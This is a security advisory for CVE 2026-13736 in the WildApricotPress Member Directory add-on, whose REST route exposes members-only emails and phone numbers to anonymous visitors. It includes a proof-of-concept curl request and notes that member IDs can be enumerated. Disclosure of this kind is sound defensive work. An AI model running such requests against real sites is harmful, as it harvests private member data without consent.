NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 – Unauthenticated Member PII Disclosure via REST API | CVE 2026-13736

Description

The plugin does not enforce its members-only field privacy on an unauthenticated REST route, allowing anonymous visitors to read member email addresses and phone numbers that are configured to be visible to members only.

Proof of Concept

Prerequisites: a site running the add-on with its parent WildApricotPress plugin and a configured WildApricot connection (the normal state for a deployed site), and at least one member whose Email and Phone fields use the default "Members" access level. The restriction-status option is left at its default (empty). Member IDs are sequential integers.

# Unauthenticated request (no cookie, no nonce):
curl -s 'https://victim.example/wp-json/wawp/v1/profiles/?id=<MEMBER_ID>&fields[]=Email&fields[]=Phone'

# Response (HTTP 200) returns the member's Members-only Email and Phone in plain text
# (e.g. secret_member@victim.test / +1-555-0199) instead of the masked "Restricted" placeholder.
# Incrementing the member id enumerates other members.